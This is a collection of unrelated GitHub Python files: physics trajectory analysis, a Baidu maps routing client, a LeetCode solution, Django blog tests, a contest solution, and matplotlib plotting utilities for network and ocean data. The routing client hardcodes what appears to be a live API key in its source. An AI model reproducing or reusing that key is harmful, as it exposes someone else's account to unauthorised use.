+{"seq_id":"41068950062","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport models as m\n\n\ndef read_pos_sur(infolder):\n filenames = [f for f in os.listdir(\n infolder) if os.path.isfile(os.path.join(infolder, f))]\n files = [infolder + f for f in filenames]\n positions = []\n surfaces = []\n for file in files:\n try:\n with open(file, \"r\") as f:\n lines = f.readlines()\n pos = np.zeros(len(lines))\n sur = np.zeros(len(lines))\n for i in range(len(lines)):\n line = lines[i]\n arr = line.split(\",\")\n pos[i] = float(arr[0][:-1])\n sur[i] = int(arr[-1][:-1])\n positions.append(pos)\n surfaces.append(sur)\n except:\n print(\"Bad csv: \", file)\n\n return positions, surfaces\n\n\ndef plot_trajectories(ax, m, infolder):\n positions, surfaces = read_pos_sur(infolder)\n\n for i in range(len(positions)):\n pos = positions[i]\n sur = surfaces[i]\n energies = np.zeros(len(pos))\n for j in range(len(pos)):\n energies[j] = m.get_adiabatic_energy(pos[j])[int(sur[j])]\n\n ax.plot(pos, energies)\n\n\ndef avg_trajectories(ax, m, infolder):\n positions, surfaces = read_pos_sur(infolder)\n energies = []\n for i in range(len(positions)):\n pos = positions[i]\n sur = surfaces[i]\n en = np.zeros(len(pos))\n for j in range(len(pos)):\n en[j] = m.get_adiabatic_energy(pos[j])[int(sur[j])]\n energies.append(en)\n\n max_len = len(max(positions, key=lambda x: len(x)))\n for i in range(len(positions)):\n l = len(positions[i])\n if l < max_len:\n positions[i] = np.concatenate((\n positions[i], np.zeros(max_len - l) + positions[i][-1]))\n energies[i] = np.concatenate(\n (energies[i], np.zeros(max_len - l) + energies[i][-1]))\n\n p_avg = np.zeros(max_len)\n e_avg = np.zeros(max_len)\n for i in range(len(positions)):\n p_avg += positions[i]\n e_avg += energies[i]\n\n p_avg /= len(positions)\n e_avg /= len(positions)\n\n ax.plot(p_avg, e_avg)\n\n\ndef outfile_analysis(outfile):\n with open(outfile, \"r\") as f:\n end_states = []\n end_times = []\n for l in f.readlines():\n if \"end state:\" in l.lower():\n end_states.append(int(l.rstrip()[-1]))\n elif \"end time:\" in l.lower():\n end_times.append(int(l.split(\":\")[1].rstrip()))\n\n print(\"Avg end state: \", sum(end_states)/len(end_states))\n print(\"Avg end time: \", sum(end_times)/len(end_times))\n\n\ndef time_spent(infolder, x_split=0):\n positions, surfaces = read_pos_sur(infolder)\n left_count = 0\n right_count = 0\n state_counts = {}\n for i in range(len(positions)):\n pos = positions[i]\n sur = surfaces[i]\n l = len(pos)\n left = sum(np.less(pos, np.zeros(l) + x_split))\n right = l - left\n left_count += left\n right_count += right\n for s in sur:\n if s in state_counts.keys():\n state_counts[s] += 1\n else:\n state_counts[s] = 1\n\n tot = left_count + right_count\n print(\"left: \", left_count/tot)\n print(\"right: \", right_count/tot)\n\n s_counts = np.array(list(state_counts.values()))\n print(\"state counts: \", s_counts/sum(s_counts))\n\n\ndef traj():\n fig, ax = plt.subplots()\n ax.set_ylabel('Potential (Eh)')\n ax.set_xlabel('Nuclear coordinate (a.u.)')\n model = m.NState_Spin_Boson(l_states=10, r_states=10)\n x = np.linspace(-20, 20, 1000)\n m.plot_1d(ax, model, x)\n # plot_trajectories(ax, model, \"results/Nstate_063021/verbose/\")\n avg_trajectories(ax, model, \"results/Nstate_063021/verbose/\")\n plt.show()\n\n\ndef tully_props(ax1, ax2, ax3, infolder, k_arr):\n filenames = [f\"{k}.out\" for k in k_arr]\n files = [infolder + f for f in filenames]\n\n dat = {}\n\n for i in range(len(files)):\n filename = files[i]\n k = k_arr[i]\n state0_reflected = 0\n state0_transmitted = 0\n state1_transmitted = 0\n with open(filename, \"r\") as f:\n lines = f.readlines()\n end_pos = None\n end_state = None\n for line in lines:\n if \"end position:\" in line.lower():\n if end_pos is not None:\n if end_pos > 0 and end_state == 0:\n state0_transmitted += 1\n elif end_pos > 0 and end_state == 1:\n state1_transmitted += 1\n else:\n state0_reflected += 1\n\n end_pos = float(line.split(\"[\")[1].rstrip()[:-1])\n elif \"end state:\" in line.lower():\n end_state = int(line.split(\":\")[1].rstrip()[-1])\n\n tot = state0_reflected + state0_transmitted + state1_transmitted\n state0_transmitted /= tot\n state0_reflected /= tot\n state1_transmitted /= tot\n\n dat[k] = (state0_transmitted, state0_reflected, state1_transmitted)\n\n s0_t = np.array([dat[k][0] for k in k_arr])\n s0_r = np.array([dat[k][1] for k in k_arr])\n s1_t = np.array([dat[k][2] for k in k_arr])\n\n ax1.plot(k_arr, s0_t)\n ax2.plot(k_arr, s0_r)\n ax3.plot(k_arr, s1_t)\n\n\ndef filter_finished(d):\n finished_trajs = []\n filenames = [f for f in os.listdir(d) if f.endswith(\".tmp\")]\n for f in filenames:\n i = int(f.split(\".\")[0])\n finished_trajs.append(i)\n for f in os.listdir(d + \"verbose/\"):\n if not int(f.split(\".\")[0]) in finished_trajs:\n os.remove(d + \"verbose/\" + f)\n\n\ndef plot_end_pos(outfile, m, ax):\n with open(outfile, \"r\") as f:\n end_pos = []\n end_state = []\n for l in f.readlines():\n if \"end position:\" in l.lower():\n end_pos.append(float(l.split(\"[\")[1].rstrip()[:-1]))\n elif \"end state:\" in l.lower():\n end_state.append(int(l.split(\":\")[1].rstrip()[-1]))\n\n end_pos = np.array(end_pos)\n end_state = np.array(end_state)\n\n for i in range(len(end_pos)):\n pos = end_pos[i]\n sur = end_state[i]\n energy = m.get_adiabatic_energy(pos)[sur]\n ax.plot(pos, energy, 'ro')\n\n\ndef combine_tmp(d, outfile):\n filenames = [f for f in os.listdir(d) if f.endswith(\".tmp\")]\n for filename in filenames:\n with open(d + outfile, \"a\") as out, open(d + filename) as infile:\n out.writelines(infile.readlines())\n\n\ndef del_tmp(d):\n filenames = [f for f in os.listdir(d) if f.endswith(\".tmp\")]\n for filename in filenames:\n os.remove(os.path.join(d, filename))\n\n\ndef prepare_unfinished_job(d, out):\n filter_finished(d)\n combine_tmp(d, out)\n del_tmp(d)\n\n# prepare_unfinished_job(\n# \"results/070821_Nstate_high_density/\", \"070821_high_d.out\")\n# outfile_analysis(\"results/Nstate_063021/063021.out\")\n# time_spent(\"./results/Nstate_063021/verbose/\")\n\n\nfig, ax = plt.subplots()\nax.set_xlabel(\"Nuclear coordinate (au)\")\nax.set_ylabel(\"Potential (Eh)\")\n# ax.set_title(\"iter=12500, damp=.0001, T=298\")\nx = np.linspace(-20, 20, 1000)\nmodel = m.NState_Spin_Boson(l_states=10, r_states=10)\nm.plot_diabats_1d(ax, model, x)\navg_trajectories(ax, model, \"results/070621_long_test/verbose/\")\n\nplot_end_pos(\"results/070621_long_test/070621.out\", model, ax)\nplt.show()\n","repo_name":"samrmay/afssh","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":7455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"33411448060","text":"# -*- coding:utf-8 -*-\n\nimport requests\nimport sys\nfrom . import maps\napp_key = \"Nx80Sg2TOypzPcKRHz6P8TtE\"\n\n'''\nbaidu direction api doc: http://developer.baidu.com/map/index.php?title=webapi/direction-api\n'''\n\ndef GetRoutingByWalking(origin, destination, city): \n params = {\n 'mode': 'walking', 'ak': app_key, 'output': 'json',\n 'origin': '%s,%s' % origin,\n 'destination': '%s,%s' % destination,\n 'region': city,\n }\n return requests.get(\"http://api.map.baidu.com/direction/v1\", params = params).json()\ndef GetRoutingByDriving(origin, destination, city): \n params = {\n 'mode': 'driving', 'ak': app_key, 'output': 'json',\n 'origin': '%s,%s' % origin,\n 'destination': '%s,%s' % destination,\n 'region': city,\n }\n return requests.get(\"http://api.map.baidu.com/direction/v1\", params = params).json()\n \ndef GetRoutingByTransit(origin, destination, city):\n params = {\n 'mode': 'transit', 'ak': app_key, \n 'output': 'json', 'region': city,\n 'origin': '%s,%s' % origin, 'destination':'%s,%s' % destination,\n } \n return requests.get(\"http://api.map.baidu.com/direction/v1\", params = params).json()\n \ndef GetRoutingByTaxi(origin, destination, city):\n params = {\n 'mode': 'transit', 'ak': app_key, \n 'output': 'json', 'region': city,\n 'origin': '%s,%s' % origin, 'destination':'%s,%s' % destination,\n } \n resp = requests.get('http://api.map.baidu.com/direction/v1', params = params).json()\n if resp['status'] == 0:\n if resp['type'] == 1:\n resp['status'] = 400001\n resp['message'] = u'模糊的起始点,无法查询线路'\n elif resp['type'] == 2:\n resp['result'] = resp['result']['taxi']\n del resp['type']\n return resp\n \nif __name__ == '__main__':\n start = (30.270067,120.129649) #浙大玉泉校区\n end = (30.295812,120.217858) #杭州东站\n print(GetRoutingByTransit(start, end, u'杭州'))\n #print(GetRoutingByWalking(start, end, u'杭州'))","repo_name":"groverc85/Mobile-Assistant","sub_path":"moblife/apis/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"18722676213","text":"\"\"\"\nGiven a non-negative integer represented as a non-empty array of digits,\nplus one to the integer.\n\nYou may assume the integer do not contain any leading zero,\nexcept the number 0 itself.\n\nThe digits are stored such that the most significant digit is\nat the head of the list.\n\"\"\"\n\n\nclass Solution(object):\n\n def plusOne(self, digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n current = sum([digits[i] * 10 ** (len(digits) - i - 1)\n for i in range(len(digits))]) + 1\n return [int(digit) for digit in str(current)]\n\n\ns = Solution()\ns.plusOne([1, 2, 3, 10900])\n","repo_name":"SamaelChen/machine-learning-practice-code","sub_path":"sp/leetcode/Plus_One.py","file_name":"Plus_One.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"68"}
+{"seq_id":"27049057301","text":"import datetime\n\nfrom django.utils import timezone\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom blog.models import Post, Comment, Category, Author\nfrom polls.models import Question, Choice\n\n# Functions to create objects for the tests\ndef create_post(category, author, name, content, status):\n \"\"\"\n Creates a post with the given `category, author, name, content, status`.\n \"\"\"\n return Post.objects.create(category=category, author=author, name=name, content=content, status=status)\n\ndef create_comment(post, author, content):\n \"\"\"\n Creates a comment with the given `post, author, content`.\n \"\"\"\n return Comment.objects.create(post=post, author=author, content=content)\n\ndef create_category(name):\n \"\"\"\n Creates a category with the given `name`.\n \"\"\"\n return Category.objects.create(name=name)\n\ndef create_author(name):\n \"\"\"\n Creates an author with the given `name`.\n \"\"\"\n return Author.objects.create(name=name)\n\ndef create_question(question_text, days):\n \"\"\"\n Creates a question with the given `question_text` and published the\n given number of `days` offset to now (negative for questions published\n in the past, positive for questions that have yet to be published).\n \"\"\"\n time = timezone.now() + datetime.timedelta(days=days)\n return Question.objects.create(question_text=question_text, pub_date=time)\n\n#Sample tests\nclass HomeViewTests(TestCase):\n def test_home_view_with_a_published_post(self):\n \"\"\"\n Posts with the Published status should be displayed on the\n home page.\n \"\"\"\n category = create_category('Category 1')\n author = create_author('Author 1')\n create_post(category=category, author=author, name='Published Post', content='Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent sollicitudin.', status='Published')\n create_question(question_text=\"Past question.\", days=-30)\n response = self.client.get(reverse('blog.home'))\n self.assertQuerysetEqual(\n response.context['posts'],\n ['']\n )\n\n def test_home_view_with_a_draft_post(self):\n \"\"\"\n Posts with the Draft status should not be displayed on the\n home page.\n \"\"\"\n category = create_category('Category 1')\n author = create_author('Author 1')\n create_post(category=category, author=author, name='Draft Post', content='Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent sollicitudin.', status='Draft')\n create_question(question_text=\"Past question.\", days=-30)\n response = self.client.get(reverse('blog.home'))\n self.assertContains(response, \"No posts are available.\")\n self.assertQuerysetEqual(response.context['posts'], [])\n\n def test_home_view_with_draft_post_and_published_post(self):\n \"\"\"\n Even if both draft and published posts exist, only published posts\n should be displayed.\n \"\"\"\n category = create_category('Category 1')\n author = create_author('Author 1')\n create_post(category=category, author=author, name='Published Post',\n content='Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent sollicitudin.',\n status='Published')\n create_post(category=category, author=author, name='Draft Post',\n content='Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent sollicitudin.',\n status='Draft')\n create_question(question_text=\"Past question.\", days=-30)\n response = self.client.get(reverse('blog.home'))\n self.assertQuerysetEqual(\n response.context['posts'],\n ['']\n )\n\n def test_home_view_with_two_published_posts(self):\n \"\"\"\n The blog home page may display multiple posts.\n \"\"\"\n category = create_category('Category 1')\n author = create_author('Author 1')\n create_post(category=category, author=author, name='Published Post 1',\n content='Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent sollicitudin.',\n status='Published')\n create_post(category=category, author=author, name='Published Post 2',\n content='Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent sollicitudin.',\n status='Published')\n create_question(question_text=\"Past question.\", days=-30)\n response = self.client.get(reverse('blog.home'))\n self.assertQuerysetEqual(\n response.context['posts'],\n ['', '']\n )\n\nclass ShowPostViewTests(TestCase):\n def test_show_post_view_with_a_draft_post(self):\n \"\"\"\n The view of a post with a draft status should\n return a 404 not found.\n \"\"\"\n category = create_category('Category 1')\n author = create_author('Author 1')\n draft_post = create_post(category=category, author=author, name='Draft Post', content='Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent sollicitudin.', status='Draft')\n url = reverse('blog.post', args=(draft_post.id,))\n create_question(question_text=\"Past question.\", days=-30)\n response = self.client.get(url)\n self.assertEqual(response.status_code, 404)\n\n def test_show_post_view_with_a_published_post(self):\n \"\"\"\n The view of a post with a published status should\n display the post content.\n \"\"\"\n category = create_category('Category 1')\n author = create_author('Author 1')\n published_post = create_post(category=category, author=author, name='Published Post',\n content='Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent sollicitudin.',\n status='Published')\n url = reverse('blog.post', args=(published_post.id,))\n create_question(question_text=\"Past question.\", days=-30)\n response = self.client.get(url)\n self.assertContains(response, published_post.content)","repo_name":"alinecrsouza/django-blog-app","sub_path":"blog/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6195,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"73173033176","text":"#!/usr/bin/env pypy3\n\ndef ans(A, B):\n\tret = 0\n\tpos_match = min(A[2], B[1])\n\tA[2] -= pos_match\n\tB[1] -= pos_match\n\tret += 2*pos_match\n\n\tassert(sum(A) == sum(B))\n\tN = sum(A)\n\n\tx = B[2]\n\ty = A[1]\n\n\tneg_match = (x + y) - N\n\tif neg_match > 0:\n\t\tret -= 2*neg_match\n\n\treturn ret\n\nT = int(input())\nfor t in range(T):\n\tA = input().split()\n\tA = list(map(int, A))\n\n\tB = input().split()\n\tB = list(map(int, B))\n\n\tprint(ans(A, B))","repo_name":"ldct/cp","sub_path":"codeforces/665/B/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"}
+{"seq_id":"23937230334","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 16 16:39:51 2022\n\n@author: njapke\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndf = pd.read_csv(\"latencies.csv\", index_col=\"Filters\")\n\nfig = plt.figure(figsize=(14,4))\nax = plt.axes(xlim=(1, 65534), ylim=(0, 6))\nax.grid(True)\n#ax.set_title('latency by filter (matched IP address)')\nax.set_title('latency by filter (no match)')\nax.set_xlabel('number of filters')\nax.set_ylabel('measured latency in ms')\n\nax.plot(np.array(df.index), np.array(df[\"Avg Latency\"]))\n\nfig.savefig(\"./latency.png\")\n\ndf_bnd = pd.read_csv(\"bandwidths.csv\", index_col=\"Filters\")\n\nfig = plt.figure(figsize=(14,4))\nax = plt.axes(xlim=(1, 65534), ylim=(0, 8))\nax.grid(True)\n#ax.set_title('bandwidth by filter (matched IP address)')\nax.set_title('bandwidth by filter (no match)')\nax.set_xlabel('number of filters')\nax.set_ylabel('measured bandwidth in Gbit/s')\n\nax.plot(np.array(df_bnd.index), np.array(df_bnd[\"Bitrate\"]))\n\nfig.savefig(\"./bandwidth.png\")\n\n","repo_name":"srnbckr/ebpf-network-emulation","sub_path":"baseline/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"68"}
+{"seq_id":"73258430937","text":"\"\"\"\noctant.plotting - some plotting functions\n\nThe plotting module provides some specialized plotting\nfunctions ofen needed in ocean modelling.\n\nRequirements:\n=============\npylab, datetime, numpy, scipy\n\nFunctions:\n==========\n\nsticks - velocity vector stick plot along a time axis\ncmap_discretize - create a discrete colorbar from standard colormaps\n which can be applied to e.g. pcolor\nztodepth - change negative z-ax ticklabels to positive depths\nlayers - a function for plotting vertical transects based on layer heights\njetWoGn - colormap similar to jet, but without Green\n\n\"\"\"\n__docformat__ = \"restructuredtext en\"\n\nimport matplotlib.pyplot as plt\nfrom datetime import timedelta\nimport numpy as np\n#from scipy import interpolate\nfrom pylab import interp\nimport pylab as pl\n\ndef sticks(date,u,v,tnorm=0.1,figurewidth=8,pickind=1,color='blue'):\n \"\"\"\n sticks - create velocity stick plot\n\n sticks(date, u, v, tnorm=0.1, color='blue' \\\n figurewidth=8, pickind=1)\n\n date - list/array of datetime elements\n u - list/array of velocity in eastern direction\n v - list/array of velocity in northern direction\n tnorm - length of a u=max(u,v) as part of the time axis\n color - color of sticks\n figurewidth - width of the figure in inch\n pickind - plot every \"pickind\"-vector\n \"\"\"\n onedt=(date[-1]-date[0])\n onedt=timedelta(tnorm*onedt.days,tnorm*onedt.seconds)\n daynorm=onedt.days+onedt.seconds/86400.0\n\n u=np.asarray(u)\n v=np.asarray(v)\n norm=np.maximum(np.absolute(u).max(),np.absolute(v).max())\n\n t=[]\n f=[]\n mask=[]\n fac=pickind\n for i in range(int(len(date)/fac)):\n t.append(plt.date2num(date[i*fac]))\n f.append(0.0)\n mask.append(False)\n t.append(plt.date2num(date[i*fac] \\\n + timedelta(u[i*fac]/norm*onedt.days,u[i*fac]/norm*onedt.seconds)))\n f.append(v[i*fac]/norm*daynorm)\n mask.append(False)\n t.append(plt.date2num(date[i*fac]))\n f.append(0.0)\n mask.append(True)\n \n t=np.asarray(t)\n f=np.asarray(f)\n mask=np.asarray(mask)\n f=np.ma.masked_array(f,mask=mask)\n \n plt.figure(figsize=(figurewidth,tnorm*figurewidth))\n plt.plot_date(t,f,'-',color=color)\n ax=plt.gca()\n ax.set_aspect('equal')\n ax.set_xlim(t[0],t[-1])\n ax.set_ylim(-1.0*daynorm,1.0*daynorm)\n ax.set_frame_on(False)\n ax.yaxis.set_visible(False)\n\ndef cmap_discretize(cmap, N):\n \"\"\"Return a discrete colormap from the continuous colormap cmap.\n \n cmap: colormap instance, eg. cm.jet. \n N: Number of colors.\n \n Example\n x = resize(arange(100), (5,100))\n djet = cmap_discretize(cm.jet, 5)\n imshow(x, cmap=djet)\n \"\"\"\n\n cdict = cmap._segmentdata.copy()\n # N colors\n colors_i = np.linspace(0,1.,N)\n # N+1 indices\n indices = np.linspace(0,1.,N+1)\n for key in ('red','green','blue'):\n # Find the N colors\n D = np.array(cdict[key])\n #I = interpolate.interp1d(D[:,0], D[:,1])\n #I = interpolate.interp1d(D[:,0],D[:,1])\n colors = interp(colors_i,D[:,0],D[:,1])\n # Place these colors at the correct indices.\n A = np.zeros((N+1,3), float)\n A[:,0] = indices\n A[1:,1] = colors\n A[:-1,2] = colors\n # Create a tuple for the dictionary.\n L = []\n for l in A:\n L.append(tuple(l))\n cdict[key] = tuple(L)\n # Return colormap object.\n return plt.matplotlib.colors.LinearSegmentedColormap('colormap',cdict,1024)\n\ndef cmap_map(function,cmap):\n \"\"\" Applies function (which should operate on vectors of shape 3:\n [r, g, b], on colormap cmap. This routine will break any discontinuous\n points in a colormap.\n \"\"\"\n cdict = cmap._segmentdata\n step_dict = {}\n # Firt get the list of points where the segments start or end\n for key in ('red','green','blue'): step_dict[key] = map(lambda x: x[0], cdict[key])\n step_list = reduce(lambda x, y: x+y, step_dict.values())\n step_list = np.array(list(set(step_list)))\n # Then compute the LUT, and apply the function to the LUT\n reduced_cmap = lambda step : np.array(cmap(step)[0:3])\n old_LUT = np.array(map( reduced_cmap, step_list))\n new_LUT = np.array(map( function, old_LUT))\n # Now try to make a minimal segment definition of the new LUT\n cdict = {}\n for i,key in enumerate(('red','green','blue')):\n this_cdict = {}\n for j,step in enumerate(step_list):\n if step in step_dict[key]:\n this_cdict[step] = new_LUT[j,i]\n elif new_LUT[j,i]!=old_LUT[j,i]:\n this_cdict[step] = new_LUT[j,i]\n colorvector= map(lambda x: x + (x[1], ), this_cdict.items())\n colorvector.sort()\n cdict[key] = colorvector\n\n return pl.matplotlib.colors.LinearSegmentedColormap('colormap',cdict,1024)\n\ndef cmap_brightened(cmap,factor=0.5):\n \"\"\"\n Brightens colormap cmap with using a saturation factor 'factor'\n (0.5 by default).\n \"\"\"\n return cmap_map(lambda x: (1.-factor) + factor*x, cmap)\n\ndef layers(field,bath,h=None,xc=None,lines=None,missingbath=-10.0,fillvalue=-9999.0,lw=0.5,plotsurface=False,**kwargs):\n \"\"\"\n plot 2d field as layers with pcolor based on layer heights.\n (perfect for GETM results)\n \n usage: layers(2dfield[kmax,xmax],\n bath[xmax],\n h=h[kmax,xmax],\n xc=xc[xmax],\n missingbath=-10.0,\n fillvalue=-9999.0,\n lines=LineColor,\n lw=0.5,\n **kwargs)\n\n h,xc,missingbath,fillvalue,shading and lw are optional, default is sigma\n coordinates h=bath/kmax, default FillValue=-9999.0,\n default lw=0.05, and default xc is the vector of array indices.\n\n Polygons where bath == missingbath in any point are filled\n with fillvalue and are masked afterwards.\n The 2dfield can be preconfigured with (fillvalue)s where\n \"layers\" should not plot any value (e.g. if certain layers\n should be removed)\n \n Additional keyword arguments are passed to pcolor such as\n cmap=cm.hsv or shading='flat'.\n\n If lines is given, the layer interfaces are\n plotted as lines in color e.g. lines='black'\n \"\"\"\n \n (kmax,xmax)=field.shape\n \n if xc==None:\n xc=np.arange(xmax,dtype='f')\n \n dx2=0.5*(xc[1]-xc[0])\n xco=np.interp((np.arange(2*xmax+1)-1)/2.0,np.arange(xmax),xc,left=xc[0]-dx2,right=xc[-1]+dx2)\n bathd=np.interp(xco,xc,bath,left=bath[0],right=bath[-1])\n\n if h==None:\n h=np.asarray([bath/kmax for k in range(kmax)])\n \n zi=-bath+np.cumsum(np.vstack([np.zeros((1,xmax)),h]),axis=0);\n zd=np.zeros((kmax+1,2*xmax+1),dtype='f')\n fieldd=np.zeros((kmax+1,2*xmax+1),dtype='f')\n \n for k in range(kmax+1):\n for x in range(xmax):\n \n if k==kmax:\n kf=kmax-1\n else:\n kf=k\n\n if (x == 0):\n zd[k,0]=zi[k,x]\n zd[k,1]=zi[k,x]\n fieldd[k,0]=field[kf,x]\n fieldd[k,1]=field[kf,x]\n elif (bath[x]<=missingbath):\n zd[k,2*x+1]=fillvalue\n fieldd[k,2*x+1]=fillvalue\n fieldd[k,2*x]=fillvalue\n if (bath[x-1]<=missingbath):\n zd[k,2*x]=fillvalue\n else:\n zd[k,2*x]=zi[k,x-1]\n else:\n zd[k,2*x+1]=zi[k,x]\n fieldd[k,2*x+1]=field[kf,x]\n fieldd[k,2*x]=field[kf,x]\n if (bath[x-1]<=missingbath):\n zd[k,2*x]=zi[k,x]\n else:\n zd[k,2*x]=0.5*(zi[k,x-1]+zi[k,x])\n \n if x == xmax-1:\n zd[k,-1]=zi[k,x]\n fieldd[k,-1]=field[kf,x]\n\n fmasked=np.ma.masked_where(fieldd==fillvalue,fieldd)\n \n ret=pl.pcolor(xco,np.ma.array(zd,mask=fmasked.mask),fmasked,**kwargs)\n \n if lines!=None:\n if plotsurface:\n lastind=kmax+1\n else:\n lastind=kmax\n xi=np.array([xc for k in range(lastind)])\n bathi=np.array([bath for k in range(lastind)])\n plt.plot(xi.T,np.ma.masked_where(bathi.T<=-10.0,zi[:lastind,:].T), \\\n color=lines,lw=lw)\n plt.axis('tight')\n return ret\n\n\ndef ztodepth(ax=None,ylabelstr='depth [m]'):\n \"\"\"\n ztodepth - change negative z-ax ticklabels \n on the y-axis to positive depths\n\n usage: ztodepth(ax=gca(),\n ylabelstr='depth [m]')\n\n ztodepth gets the yticks and creates positive yticklabels\n for annotation in depth instead of position on z-axis.\n Its recommended to change yticks if needed before\n running ztodepth.\n\n If ylabelstr is not set to \"None\", then the y-axis gets\n the label \"depth [m]\" or other specified with ylabelstr.\n\n \"\"\"\n \n if ax is None:\n ax = plt.gca()\n \n yt = ax.get_yticks()\n dtl = [str(y*-1.0) for y in yt]\n ax.set_yticklabels(dtl)\n if ylabelstr != None:\n ax.set_ylabel(ylabelstr)\n\ndef drawscale(m,lon,lat,length,yoffset=None,fontsize=8.0,linewidth=0.5):\n \"\"\"draw a fancy map scale from lon-length/2,lat-yoffset to\n lon-length/2,lat-yoffset, label it with actual distance in km\n \n usage drawscale(m - mapping object,\n lon - lon value of center of scale\n lat - lat value of center of scale\n length - maximum length shown by scale in km\n yoffset - height of scale in \"km\"\n fontsize - fontsize of ticklabels\n linewidth - width of used lines)\n \n \"\"\"\n length = length*1000 #input length is km\n\n # idea for future: try to divide by 5, 4 and 3 to find\n # the best split factor and then create the x-coordinates\n\n #we need 5 sets of x coordinates (in map units)\n #center of scale\n xc,yc = m(lon,lat)\n #left edge of scale\n lon1,lat1 = m(xc-length/2,yc,inverse=True)\n x1,y1 = m(lon1,lat1)\n #quarter scale\n lon2,lat2 = m(xc-length/4,yc,inverse=True)\n x2,y2 = m(lon2,lat2)\n #three quarter scale\n lon3,lat3 = m(xc+length/4,yc,inverse=True)\n x3,y3 = m(lon3,lat3)\n #right edge of scale\n lon4,lat4 = m(xc+length/2,yc,inverse=True)\n x4,y4 = m(lon4,lat4)\n\n if yoffset is None:\n yoffset = 0.05*length\n else:\n yoffset = 1000.0*yoffset\n\n #plot top line\n ytop = yc+yoffset/2\n ybottom = yc-yoffset/2\n ytick = ybottom - yoffset/2\n ytext = ytick - yoffset/2\n m.plot([x1,x4],[ytop,ytop],color='k',lw=linewidth)\n #plot bottom line\n m.plot([x1,x4],[ybottom,ybottom],color='k',lw=linewidth)\n #plot left edge\n m.plot([x1,x1],[ybottom,ytop],color='k',lw=linewidth)\n #plot right edge\n m.plot([x4,x4],[ybottom,ytop],color='k',lw=linewidth)\n\n #make a filled black box from left edge to 1/4 way across\n plt.fill([x1,x2,x2,x1,x1],[ytop,ytop,ybottom,ybottom,ytop], \\\n 'k',lw=linewidth)\n #make a filled white box from 1/4 way across to 1/2 way across\n plt.fill([x2,xc,xc,x2,x2],[ytop,ytop,ybottom,ybottom,ytop], \\\n 'w',lw=linewidth)\n #make a filled white box from 1/2 way across to 3/4 way across\n plt.fill([xc,x3,x3,xc,xc],[ytop,ytop,ybottom,ybottom,ytop], \\\n 'k',lw=linewidth)\n #make a filled white box from 3/4 way across to end\n plt.fill([x3,x4,x4,x3,x3],[ytop,ytop,ybottom,ybottom,ytop], \\\n 'w',lw=linewidth)\n\n #plot 3 tick marks at left edge, center, and right edge\n m.plot([x1,x1],[ytick,ybottom],color='k',lw=linewidth)\n m.plot([xc,xc],[ytick,ybottom],color='k',lw=linewidth)\n m.plot([x4,x4],[ytick,ybottom],color='k',lw=linewidth)\n\n #label 3 tick marks\n plt.text(x1,ytext,'%d' % (0),\\\n horizontalalignment='center',\\\n verticalalignment='top',\\\n fontsize=fontsize)\n plt.text(xc,ytext,'%d' % (round((length/2)/1000)),\\\n horizontalalignment='center',\\\n verticalalignment='top',\\\n fontsize=fontsize)\n plt.text(x4,ytext,'%d' % (round((length)/1000)),\\\n horizontalalignment='center',\\\n verticalalignment='top',\\\n fontsize=fontsize)\n\n #put units on top\n plt.text(xc,ytop+yoffset/2,'km',\\\n horizontalalignment='center',\\\n verticalalignment='bottom',\\\n fontsize=fontsize)\n\ndef jetWoGn(reverse=False):\n \"\"\"\n jetWoGn(reverse=False)\n - returning a colormap similar to cm.jet, but without green.\n if reverse=True, the map starts with red instead of blue.\n \"\"\"\n m=18 # magic number, which works fine\n m0=pl.floor(m*0.0)\n m1=pl.floor(m*0.2)\n m2=pl.floor(m*0.2)\n m3=pl.floor(m/2)-m2-m1\n\n b_ = np.hstack( (0.4*np.arange(m1)/(m1-1.)+0.6, np.ones((m2+m3,)) ) )\n g_ = np.hstack( (np.zeros((m1,)),np.arange(m2)/(m2-1.),np.ones((m3,))) )\n r_ = np.hstack( (np.zeros((m1,)),np.zeros((m2,)),np.arange(m3)/(m3-1.)))\n\n r = np.hstack((r_,pl.flipud(b_)))\n g = np.hstack((g_,pl.flipud(g_)))\n b = np.hstack((b_,pl.flipud(r_)))\n\n if reverse:\n r = pl.flipud(r)\n g = pl.flipud(g)\n b = pl.flipud(b)\n\n ra = pl.linspace(0.0,1.0,m)\n\n cdict = {'red': zip(ra,r,r),\n 'green': zip(ra,g,g),\n 'blue': zip(ra,b,b)}\n\n return pl.matplotlib.colors.LinearSegmentedColormap('new_RdBl',cdict,256)\n\n","repo_name":"hetland/octant","sub_path":"octant/sandbox/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":14014,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"68"}
